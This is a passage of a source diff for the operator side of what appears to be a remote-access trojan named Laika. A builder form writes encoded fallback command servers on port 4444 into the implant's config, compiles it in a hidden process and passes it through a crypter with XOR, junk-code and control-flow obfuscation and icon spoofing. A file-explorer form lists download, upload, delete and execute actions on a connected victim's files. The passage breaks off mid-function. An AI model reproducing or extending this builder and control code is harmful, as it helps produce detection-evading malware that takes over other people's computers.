||||||
|
|
||||||
|
namespace Server
|
||||||
|
{
|
||||||
|
public partial class BuildMenu : Form
|
||||||
|
{
|
||||||
|
public BuildMenu()
|
||||||
|
{
|
||||||
|
InitializeComponent();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void BuildMenu_Load(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
this.CenterToParent();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void button1_Click(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
if (textBox1.Text != "")
|
||||||
|
{
|
||||||
|
Hosts.Items.Add(textBox1.Text);
|
||||||
|
button2.Enabled = true;
|
||||||
|
textBox1.Clear();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Hosts_MouseDown(object sender, MouseEventArgs e)
|
||||||
|
{
|
||||||
|
if (e.Button == MouseButtons.Right)
|
||||||
|
{
|
||||||
|
int index = Hosts.IndexFromPoint(e.Location);
|
||||||
|
if (index < 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
Hosts.SelectedIndex = index;
|
||||||
|
contextMenuStrip1.Show(Cursor.Position);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void deleteToolStripMenuItem_Click(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
Hosts.Items.RemoveAt(Hosts.SelectedIndex);
|
||||||
|
if (Hosts.Items.Count == 0)
|
||||||
|
button2.Enabled = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void button2_Click(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
string output = "";
|
||||||
|
button2.Text = "Building...";
|
||||||
|
button2.Update();
|
||||||
|
|
||||||
|
string filePath = @"..\Laika\config.h";
|
||||||
|
string newContent = @"#define FALLBACK_SERVERS " + Hosts.Items.Count;
|
||||||
|
newContent += "\n\nchar* fallback_servers[FALLBACK_SERVERS] = {\n";
|
||||||
|
for (int i = 0; Hosts.Items.Count > i; i++)
|
||||||
|
{
|
||||||
|
newContent += "\t\"" + Utils.CAESAR(Hosts.Items[i].ToString()) + "\",\n";
|
||||||
|
}
|
||||||
|
newContent += "};\n\n";
|
||||||
|
newContent += "int fallback_servers_ip[FALLBACK_SERVERS] = {\n";
|
||||||
|
for (int j = 0; Hosts.Items.Count > j; j++)
|
||||||
|
{
|
||||||
|
newContent += "\t4444,\n";
|
||||||
|
}
|
||||||
|
newContent += "};";
|
||||||
|
|
||||||
|
File.WriteAllText(filePath, newContent);
|
||||||
|
System.Diagnostics.Process process = new System.Diagnostics.Process();
|
||||||
|
System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
|
||||||
|
startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
|
||||||
|
startInfo.FileName = "cmd.exe";
|
||||||
|
startInfo.Arguments = "/C \"\"%ProgramFiles(x86)%/Microsoft Visual Studio/Installer/vswhere.exe\"\" -nologo -latest -property installationPath";
|
||||||
|
startInfo.RedirectStandardOutput = true;
|
||||||
|
startInfo.UseShellExecute = false;
|
||||||
|
startInfo.CreateNoWindow = true;
|
||||||
|
process.StartInfo = startInfo;
|
||||||
|
process.Start();
|
||||||
|
string vs_path = process.StandardOutput.ReadToEnd();
|
||||||
|
process.WaitForExit();
|
||||||
|
|
||||||
|
vs_path = vs_path.Replace("\r\n", "");
|
||||||
|
string cmd_line = vs_path + "\\Msbuild\\Current\\Bin\\MSBuild.exe";
|
||||||
|
|
||||||
|
startInfo.Arguments = "/C \"\"" + cmd_line + "\"\" ../Laika /p:Configuration=Release;Platform=x86";
|
||||||
|
startInfo.RedirectStandardError = true;
|
||||||
|
process.StartInfo = startInfo;
|
||||||
|
process.Start();
|
||||||
|
output += process.StandardOutput.ReadToEnd();
|
||||||
|
output += process.StandardError.ReadToEnd();
|
||||||
|
|
||||||
|
process.WaitForExit();
|
||||||
|
|
||||||
|
if (!checkBox1.Checked)
|
||||||
|
{
|
||||||
|
File.WriteAllText("build_log.txt", output);
|
||||||
|
button2.Text = "Done !";
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
string args = string.Empty;
|
||||||
|
if (checkBox2.Checked)
|
||||||
|
args += " --xor " + textBox2.Text;
|
||||||
|
if (checkBox3.Checked)
|
||||||
|
args += " --junk " + numericUpDown1.Value.ToString();
|
||||||
|
if (checkBox4.Checked)
|
||||||
|
args += " --control_flow " + numericUpDown2.Value.ToString();
|
||||||
|
if (pictureBox1.ImageLocation != "")
|
||||||
|
args += " --icon " + pictureBox1.ImageLocation;
|
||||||
|
|
||||||
|
startInfo.Arguments = "/C cd ..\\patate-crypter\\Builder && python gui.py --file ..\\..\\bin\\Laika.exe" + args;
|
||||||
|
startInfo.RedirectStandardError = true;
|
||||||
|
process.StartInfo = startInfo;
|
||||||
|
process.Start();
|
||||||
|
output += process.StandardOutput.ReadToEnd();
|
||||||
|
output += process.StandardError.ReadToEnd();
|
||||||
|
|
||||||
|
process.WaitForExit();
|
||||||
|
File.WriteAllText("build_log.txt", output);
|
||||||
|
|
||||||
|
button2.Text = "Done !";
|
||||||
|
}
|
||||||
|
|
||||||
|
private void button3_Click(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
OpenFileDialog openFileDialog = new OpenFileDialog
|
||||||
|
{
|
||||||
|
Filter = "Icon files (*.ico)|*.ico",
|
||||||
|
Title = "Select your icon"
|
||||||
|
};
|
||||||
|
|
||||||
|
if (openFileDialog.ShowDialog() == DialogResult.OK)
|
||||||
|
{
|
||||||
|
string filePath = openFileDialog.FileName;
|
||||||
|
pictureBox1.ImageLocation = filePath;
|
||||||
|
pictureBox1.SizeMode = PictureBoxSizeMode.StretchImage;
|
||||||
|
pictureBox1.Update();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void checkBox1_CheckedChanged(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
bool flag = checkBox1.Checked;
|
||||||
|
|
||||||
|
checkBox2.Enabled = flag;
|
||||||
|
checkBox3.Enabled = flag;
|
||||||
|
checkBox4.Enabled = flag;
|
||||||
|
pictureBox1.Enabled = flag;
|
||||||
|
button3.Enabled = flag;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void checkBox2_CheckedChanged(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
label4.Enabled = checkBox2.Checked;
|
||||||
|
textBox2.Enabled = checkBox2.Checked;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void checkBox3_CheckedChanged(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
label5.Enabled = checkBox3.Checked;
|
||||||
|
numericUpDown1.Enabled = checkBox3.Checked;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void checkBox4_CheckedChanged(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
label6.Enabled = checkBox4.Checked;
|
||||||
|
numericUpDown2.Enabled = checkBox4.Checked;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
123
Server/BuildMenu.resx
Normal file
@@ -0,0 +1,123 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<root>
|
||||||
|
<!--
|
||||||
|
Microsoft ResX Schema
|
||||||
|
|
||||||
|
Version 2.0
|
||||||
|
|
||||||
|
The primary goals of this format is to allow a simple XML format
|
||||||
|
that is mostly human readable. The generation and parsing of the
|
||||||
|
various data types are done through the TypeConverter classes
|
||||||
|
associated with the data types.
|
||||||
|
|
||||||
|
Example:
|
||||||
|
|
||||||
|
... ado.net/XML headers & schema ...
|
||||||
|
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||||
|
<resheader name="version">2.0</resheader>
|
||||||
|
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||||
|
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||||
|
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||||
|
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||||
|
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||||
|
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||||
|
</data>
|
||||||
|
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||||
|
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||||
|
<comment>This is a comment</comment>
|
||||||
|
</data>
|
||||||
|
|
||||||
|
There are any number of "resheader" rows that contain simple
|
||||||
|
name/value pairs.
|
||||||
|
|
||||||
|
Each data row contains a name, and value. The row also contains a
|
||||||
|
type or mimetype. Type corresponds to a .NET class that support
|
||||||
|
text/value conversion through the TypeConverter architecture.
|
||||||
|
Classes that don't support this are serialized and stored with the
|
||||||
|
mimetype set.
|
||||||
|
|
||||||
|
The mimetype is used for serialized objects, and tells the
|
||||||
|
ResXResourceReader how to depersist the object. This is currently not
|
||||||
|
extensible. For a given mimetype the value must be set accordingly:
|
||||||
|
|
||||||
|
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||||
|
that the ResXResourceWriter will generate, however the reader can
|
||||||
|
read any of the formats listed below.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.binary.base64
|
||||||
|
value : The object must be serialized with
|
||||||
|
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.soap.base64
|
||||||
|
value : The object must be serialized with
|
||||||
|
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||||
|
value : The object must be serialized into a byte array
|
||||||
|
: using a System.ComponentModel.TypeConverter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
-->
|
||||||
|
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||||
|
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||||
|
<xsd:element name="root" msdata:IsDataSet="true">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:choice maxOccurs="unbounded">
|
||||||
|
<xsd:element name="metadata">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||||
|
<xsd:attribute name="type" type="xsd:string" />
|
||||||
|
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||||
|
<xsd:attribute ref="xml:space" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="assembly">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:attribute name="alias" type="xsd:string" />
|
||||||
|
<xsd:attribute name="name" type="xsd:string" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="data">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||||
|
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||||
|
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||||
|
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||||
|
<xsd:attribute ref="xml:space" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="resheader">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
</xsd:choice>
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
</xsd:schema>
|
||||||
|
<resheader name="resmimetype">
|
||||||
|
<value>text/microsoft-resx</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="version">
|
||||||
|
<value>2.0</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="reader">
|
||||||
|
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="writer">
|
||||||
|
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||||
|
</resheader>
|
||||||
|
<metadata name="contextMenuStrip1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
|
||||||
|
<value>17, 17</value>
|
||||||
|
</metadata>
|
||||||
|
</root>
|
||||||
242
Server/FileExplorer.Designer.cs
generated
Normal file
@@ -0,0 +1,242 @@
|
|||||||
|
namespace Server
|
||||||
|
{
|
||||||
|
partial class FileExplorer
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Required designer variable.
|
||||||
|
/// </summary>
|
||||||
|
private System.ComponentModel.IContainer components = null;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Clean up any resources being used.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
|
||||||
|
protected override void Dispose(bool disposing)
|
||||||
|
{
|
||||||
|
if (disposing && (components != null))
|
||||||
|
{
|
||||||
|
components.Dispose();
|
||||||
|
}
|
||||||
|
base.Dispose(disposing);
|
||||||
|
}
|
||||||
|
|
||||||
|
#region Windows Form Designer generated code
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Required method for Designer support - do not modify
|
||||||
|
/// the contents of this method with the code editor.
|
||||||
|
/// </summary>
|
||||||
|
private void InitializeComponent()
|
||||||
|
{
|
||||||
|
this.components = new System.ComponentModel.Container();
|
||||||
|
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle7 = new System.Windows.Forms.DataGridViewCellStyle();
|
||||||
|
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle8 = new System.Windows.Forms.DataGridViewCellStyle();
|
||||||
|
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle9 = new System.Windows.Forms.DataGridViewCellStyle();
|
||||||
|
this.comboBox1 = new System.Windows.Forms.ComboBox();
|
||||||
|
this.label1 = new System.Windows.Forms.Label();
|
||||||
|
this.label2 = new System.Windows.Forms.Label();
|
||||||
|
this.textBox1 = new System.Windows.Forms.TextBox();
|
||||||
|
this.dataGridView2 = new System.Windows.Forms.DataGridView();
|
||||||
|
this.FileName = new System.Windows.Forms.DataGridViewTextBoxColumn();
|
||||||
|
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
|
||||||
|
this.downloadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
|
this.uploadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
|
this.deleteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
|
this.executeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
|
this.button1 = new System.Windows.Forms.Button();
|
||||||
|
((System.ComponentModel.ISupportInitialize)(this.dataGridView2)).BeginInit();
|
||||||
|
this.contextMenuStrip1.SuspendLayout();
|
||||||
|
this.SuspendLayout();
|
||||||
|
//
|
||||||
|
// comboBox1
|
||||||
|
//
|
||||||
|
this.comboBox1.BackColor = System.Drawing.SystemColors.InactiveBorder;
|
||||||
|
this.comboBox1.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;
|
||||||
|
this.comboBox1.FormattingEnabled = true;
|
||||||
|
this.comboBox1.Location = new System.Drawing.Point(50, 13);
|
||||||
|
this.comboBox1.MaxDropDownItems = 10;
|
||||||
|
this.comboBox1.Name = "comboBox1";
|
||||||
|
this.comboBox1.Size = new System.Drawing.Size(121, 21);
|
||||||
|
this.comboBox1.Sorted = true;
|
||||||
|
this.comboBox1.TabIndex = 0;
|
||||||
|
this.comboBox1.SelectedIndexChanged += new System.EventHandler(this.comboBox1_SelectedIndexChanged);
|
||||||
|
//
|
||||||
|
// label1
|
||||||
|
//
|
||||||
|
this.label1.AutoSize = true;
|
||||||
|
this.label1.Location = new System.Drawing.Point(6, 16);
|
||||||
|
this.label1.Name = "label1";
|
||||||
|
this.label1.Size = new System.Drawing.Size(38, 13);
|
||||||
|
this.label1.TabIndex = 1;
|
||||||
|
this.label1.Text = "Drive :";
|
||||||
|
//
|
||||||
|
// label2
|
||||||
|
//
|
||||||
|
this.label2.AutoSize = true;
|
||||||
|
this.label2.Location = new System.Drawing.Point(205, 16);
|
||||||
|
this.label2.Name = "label2";
|
||||||
|
this.label2.Size = new System.Drawing.Size(74, 13);
|
||||||
|
this.label2.TabIndex = 2;
|
||||||
|
this.label2.Text = "Remote path :";
|
||||||
|
//
|
||||||
|
// textBox1
|
||||||
|
//
|
||||||
|
this.textBox1.Location = new System.Drawing.Point(286, 13);
|
||||||
|
this.textBox1.Name = "textBox1";
|
||||||
|
this.textBox1.Size = new System.Drawing.Size(472, 20);
|
||||||
|
this.textBox1.TabIndex = 3;
|
||||||
|
this.textBox1.KeyDown += new System.Windows.Forms.KeyEventHandler(this.textBox1_KeyDown);
|
||||||
|
//
|
||||||
|
// dataGridView2
|
||||||
|
//
|
||||||
|
this.dataGridView2.AllowUserToAddRows = false;
|
||||||
|
this.dataGridView2.AllowUserToDeleteRows = false;
|
||||||
|
this.dataGridView2.AllowUserToResizeRows = false;
|
||||||
|
this.dataGridView2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
|
||||||
|
| System.Windows.Forms.AnchorStyles.Left)
|
||||||
|
| System.Windows.Forms.AnchorStyles.Right)));
|
||||||
|
this.dataGridView2.BackgroundColor = System.Drawing.SystemColors.HighlightText;
|
||||||
|
this.dataGridView2.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.Single;
|
||||||
|
dataGridViewCellStyle7.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
|
||||||
|
dataGridViewCellStyle7.BackColor = System.Drawing.SystemColors.Control;
|
||||||
|
dataGridViewCellStyle7.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
|
||||||
|
dataGridViewCellStyle7.ForeColor = System.Drawing.SystemColors.WindowText;
|
||||||
|
dataGridViewCellStyle7.SelectionBackColor = System.Drawing.SystemColors.Control;
|
||||||
|
dataGridViewCellStyle7.SelectionForeColor = System.Drawing.SystemColors.Control;
|
||||||
|
dataGridViewCellStyle7.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
|
||||||
|
this.dataGridView2.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle7;
|
||||||
|
this.dataGridView2.ColumnHeadersHeight = 30;
|
||||||
|
this.dataGridView2.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing;
|
||||||
|
this.dataGridView2.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {
|
||||||
|
this.FileName});
|
||||||
|
dataGridViewCellStyle8.Alignment = System.Windows.Forms.DataGridViewContentAlignment.TopLeft;
|
||||||
|
dataGridViewCellStyle8.BackColor = System.Drawing.SystemColors.Window;
|
||||||
|
dataGridViewCellStyle8.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
|
||||||
|
dataGridViewCellStyle8.ForeColor = System.Drawing.SystemColors.ControlText;
|
||||||
|
dataGridViewCellStyle8.SelectionBackColor = System.Drawing.SystemColors.Highlight;
|
||||||
|
dataGridViewCellStyle8.SelectionForeColor = System.Drawing.SystemColors.HighlightText;
|
||||||
|
dataGridViewCellStyle8.WrapMode = System.Windows.Forms.DataGridViewTriState.False;
|
||||||
|
this.dataGridView2.DefaultCellStyle = dataGridViewCellStyle8;
|
||||||
|
this.dataGridView2.EnableHeadersVisualStyles = false;
|
||||||
|
this.dataGridView2.GridColor = System.Drawing.SystemColors.ScrollBar;
|
||||||
|
this.dataGridView2.Location = new System.Drawing.Point(9, 49);
|
||||||
|
this.dataGridView2.Margin = new System.Windows.Forms.Padding(0);
|
||||||
|
this.dataGridView2.MultiSelect = false;
|
||||||
|
this.dataGridView2.Name = "dataGridView2";
|
||||||
|
this.dataGridView2.ReadOnly = true;
|
||||||
|
this.dataGridView2.RowHeadersVisible = false;
|
||||||
|
this.dataGridView2.RowHeadersWidthSizeMode = System.Windows.Forms.DataGridViewRowHeadersWidthSizeMode.DisableResizing;
|
||||||
|
dataGridViewCellStyle9.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
|
||||||
|
this.dataGridView2.RowsDefaultCellStyle = dataGridViewCellStyle9;
|
||||||
|
this.dataGridView2.RowTemplate.ReadOnly = true;
|
||||||
|
this.dataGridView2.RowTemplate.Resizable = System.Windows.Forms.DataGridViewTriState.False;
|
||||||
|
this.dataGridView2.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;
|
||||||
|
this.dataGridView2.Size = new System.Drawing.Size(782, 392);
|
||||||
|
this.dataGridView2.TabIndex = 4;
|
||||||
|
this.dataGridView2.TabStop = false;
|
||||||
|
this.dataGridView2.CellDoubleClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dataGridView2_CellDoubleClick);
|
||||||
|
this.dataGridView2.CellMouseClick += new System.Windows.Forms.DataGridViewCellMouseEventHandler(this.dataGridView2_CellMouseClick);
|
||||||
|
this.dataGridView2.CellPainting += new System.Windows.Forms.DataGridViewCellPaintingEventHandler(this.dataGridView2_CellPainting);
|
||||||
|
//
|
||||||
|
// FileName
|
||||||
|
//
|
||||||
|
this.FileName.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;
|
||||||
|
this.FileName.HeaderText = "Name";
|
||||||
|
this.FileName.Name = "FileName";
|
||||||
|
this.FileName.ReadOnly = true;
|
||||||
|
this.FileName.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable;
|
||||||
|
//
|
||||||
|
// contextMenuStrip1
|
||||||
|
//
|
||||||
|
this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
||||||
|
this.downloadToolStripMenuItem,
|
||||||
|
this.uploadToolStripMenuItem,
|
||||||
|
this.deleteToolStripMenuItem,
|
||||||
|
this.executeToolStripMenuItem});
|
||||||
|
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
||||||
|
this.contextMenuStrip1.Size = new System.Drawing.Size(181, 114);
|
||||||
|
this.contextMenuStrip1.Opening += new System.ComponentModel.CancelEventHandler(this.contextMenuStrip1_Opening);
|
||||||
|
//
|
||||||
|
// downloadToolStripMenuItem
|
||||||
|
//
|
||||||
|
this.downloadToolStripMenuItem.Image = global::Server.Properties.Resources.download;
|
||||||
|
this.downloadToolStripMenuItem.Name = "downloadToolStripMenuItem";
|
||||||
|
this.downloadToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
|
||||||
|
this.downloadToolStripMenuItem.Text = "Download";
|
||||||
|
this.downloadToolStripMenuItem.Click += new System.EventHandler(this.downloadToolStripMenuItem_Click);
|
||||||
|
//
|
||||||
|
// uploadToolStripMenuItem
|
||||||
|
//
|
||||||
|
this.uploadToolStripMenuItem.Image = global::Server.Properties.Resources.upload;
|
||||||
|
this.uploadToolStripMenuItem.Name = "uploadToolStripMenuItem";
|
||||||
|
this.uploadToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
|
||||||
|
this.uploadToolStripMenuItem.Text = "Upload";
|
||||||
|
this.uploadToolStripMenuItem.Click += new System.EventHandler(this.uploadToolStripMenuItem_Click);
|
||||||
|
//
|
||||||
|
// deleteToolStripMenuItem
|
||||||
|
//
|
||||||
|
this.deleteToolStripMenuItem.Image = global::Server.Properties.Resources.delete;
|
||||||
|
this.deleteToolStripMenuItem.Name = "deleteToolStripMenuItem";
|
||||||
|
this.deleteToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
|
||||||
|
this.deleteToolStripMenuItem.Text = "Delete";
|
||||||
|
this.deleteToolStripMenuItem.Click += new System.EventHandler(this.deleteToolStripMenuItem_Click);
|
||||||
|
//
|
||||||
|
// executeToolStripMenuItem
|
||||||
|
//
|
||||||
|
this.executeToolStripMenuItem.Image = global::Server.Properties.Resources.execute;
|
||||||
|
this.executeToolStripMenuItem.Name = "executeToolStripMenuItem";
|
||||||
|
this.executeToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
|
||||||
|
this.executeToolStripMenuItem.Text = "Execute";
|
||||||
|
this.executeToolStripMenuItem.Click += new System.EventHandler(this.executeToolStripMenuItem_Click);
|
||||||
|
//
|
||||||
|
// button1
|
||||||
|
//
|
||||||
|
this.button1.BackgroundImage = global::Server.Properties.Resources.refresh;
|
||||||
|
this.button1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
|
||||||
|
this.button1.Location = new System.Drawing.Point(761, 10);
|
||||||
|
this.button1.Name = "button1";
|
||||||
|
this.button1.Size = new System.Drawing.Size(30, 27);
|
||||||
|
this.button1.TabIndex = 5;
|
||||||
|
this.button1.UseVisualStyleBackColor = true;
|
||||||
|
this.button1.Click += new System.EventHandler(this.button1_Click);
|
||||||
|
//
|
||||||
|
// FileExplorer
|
||||||
|
//
|
||||||
|
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
|
||||||
|
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
||||||
|
this.ClientSize = new System.Drawing.Size(800, 450);
|
||||||
|
this.Controls.Add(this.button1);
|
||||||
|
this.Controls.Add(this.dataGridView2);
|
||||||
|
this.Controls.Add(this.textBox1);
|
||||||
|
this.Controls.Add(this.label2);
|
||||||
|
this.Controls.Add(this.label1);
|
||||||
|
this.Controls.Add(this.comboBox1);
|
||||||
|
this.MaximumSize = new System.Drawing.Size(816, 489);
|
||||||
|
this.MinimumSize = new System.Drawing.Size(816, 489);
|
||||||
|
this.Name = "FileExplorer";
|
||||||
|
this.Text = "FileExplorer";
|
||||||
|
this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FileExplorer_FormClosing);
|
||||||
|
this.Load += new System.EventHandler(this.FileExplorer_Load);
|
||||||
|
((System.ComponentModel.ISupportInitialize)(this.dataGridView2)).EndInit();
|
||||||
|
this.contextMenuStrip1.ResumeLayout(false);
|
||||||
|
this.ResumeLayout(false);
|
||||||
|
this.PerformLayout();
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
#endregion
|
||||||
|
|
||||||
|
private System.Windows.Forms.ComboBox comboBox1;
|
||||||
|
private System.Windows.Forms.Label label1;
|
||||||
|
private System.Windows.Forms.Label label2;
|
||||||
|
private System.Windows.Forms.TextBox textBox1;
|
||||||
|
private System.Windows.Forms.DataGridView dataGridView2;
|
||||||
|
private System.Windows.Forms.Button button1;
|
||||||
|
private System.Windows.Forms.ContextMenuStrip contextMenuStrip1;
|
||||||
|
private System.Windows.Forms.ToolStripMenuItem downloadToolStripMenuItem;
|
||||||
|
private System.Windows.Forms.ToolStripMenuItem uploadToolStripMenuItem;
|
||||||
|
private System.Windows.Forms.ToolStripMenuItem deleteToolStripMenuItem;
|
||||||
|
private System.Windows.Forms.ToolStripMenuItem executeToolStripMenuItem;
|
||||||
|
private System.Windows.Forms.DataGridViewTextBoxColumn FileName;
|
||||||
|
}
|
||||||
|
}
|
||||||
469
Server/FileExplorer.cs
Normal file
@@ -0,0 +1,469 @@
|
|||||||
|
using System;
|
||||||
|
using System.IO;
|
||||||
|
using System.Threading;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.ComponentModel;
|
||||||
|
using System.Data;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Net.Sockets;
|
||||||
|
using System.Text;
|
||||||
|
using System.Threading.Tasks;
|
||||||
|
using System.Windows.Forms;
|
||||||
|
using static System.Net.Mime.MediaTypeNames;
|
||||||
|
using System.Runtime.InteropServices.ComTypes;
|
||||||
|
|
||||||
|
namespace Server
|
||||||
|
{
|
||||||
|
public partial class FileExplorer : Form
|
||||||
|
{
|
||||||
|
public FileExplorer()
|
||||||
|
{
|
||||||
|
InitializeComponent();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static int ITEM_ID = 0;
|
||||||
|
public static int CLIENT_ID = 0;
|
||||||
|
public static string PATH = "";
|
||||||
|
public static bool OPENED = false;
|
||||||
|
|
||||||
|
private void GetFileList()
|
||||||
|
{
|
||||||
|
dataGridView2.Rows.Clear();
|
||||||
|
CLIENT_ID = Server.Menu.CLIENT_ID;
|
||||||
|
if (Server.Menu.CONNECT_CLIENTS.Count <= CLIENT_ID)
|
||||||
|
return;
|
||||||
|
TcpClient c = Server.Menu.CONNECT_CLIENTS[CLIENT_ID];
|
||||||
|
c.ReceiveTimeout = 10000;
|
||||||
|
c.Client.Blocking = true;
|
||||||
|
|
